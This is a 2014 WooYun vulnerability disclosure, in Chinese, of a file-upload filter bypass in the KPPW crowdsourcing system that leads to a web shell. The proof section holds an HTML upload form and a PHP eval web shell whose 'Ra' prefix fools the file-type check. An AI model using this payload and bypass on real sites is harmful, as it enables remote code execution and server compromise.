当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-050077

漏洞标题:kppw威客系统上传文件漏洞导致GetShell

相关厂商:keke.com

漏洞作者: lancer

提交时间:2014-04-01 12:03

修复时间:2014-06-27 12:03

公开时间:2014-06-27 12:03

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-01: 细节已通知厂商并且等待厂商处理中
2014-04-06: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-05-31: 细节向核心白帽子及相关领域专家公开
2014-06-10: 细节向普通白帽子公开
2014-06-20: 细节向实习白帽子公开
2014-06-27: 细节向公众公开

简要描述:

文件类型过滤不严,可以绕过上传

详细说明:

漏洞代码:
/lib/helper/keke_file_class.php 138~158行

static function get_file_type($file_path, $ext = '') {
$fp = fopen ( $file_path, 'r' );
$bin = fread ( $fp, 2 );
fclose ( $fp );
$strInfo = @unpack ( "C2chars", $bin );
$typeCode = intval ( $strInfo ['chars1'] . $strInfo ['chars2'] );
$fileType = 'unknown';
$typeCode == '3780' && $fileType = "pdf";
$typeCode == '6787' && $fileType = "swf";
$typeCode == '7784' && $fileType = "midi";
$typeCode == '7790' && $fileType = "exe";
$ext == 'txt' && $fileType = "txt";
in_array ( $typeCode, array ('8297', '8075' ) ) && $fileType = $ext;
if (in_array ( $typeCode, array ('255216', '7173', '6677', '13780' ) )) {
in_array ( $ext, array ('jpg', 'gif', 'bmp', 'png', 'jpeg' ) ) and $fileType = $ext or $fileType = 'jpg';
}
if ($typeCode == '208207') {
in_array ( $ext, array ('wps', 'ppt', 'dot', 'xls', 'doc', 'docx' ) ) and $fileType = $ext or $fileType = 'doc';
}
return $fileType;
}


in_array ( $typeCode, array ('8297', '8075' ) ) && $fileType = $ext;
这里逻辑有问题,判断文件头类型后直接把文件的后缀名赋值给了$fileType。
导致了可以绕过fileFilter()函数。
/lib/helper/keke_upload_class.php 148~154行

function fileFilter($path,$ext){
if(keke_file_class::get_file_type($path,$this->ext)==$ext){
return true;
}else{
return false;
}
}


漏洞证明:

利用过程:
1.本地构建html文件

<form method="post" enctype="multipart/form-data" action="http://192.168.56.101/kppw/index.php?do=ajax&view=upload&file_type=big">
请选择文件: <br>
<input name="filedata" type="file"><br>
<input type="submit" value="上传文件">
</form>


2.shell前面加上Ra
Ra<?php eval($_POST[cmd]) ?>

1.jpg


3.上传shell

2.jpg


3.jpg

修复方案:

加强检测

版权声明:转载请注明来源 lancer@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-06-27 12:03

厂商回复:

最新状态:

暂无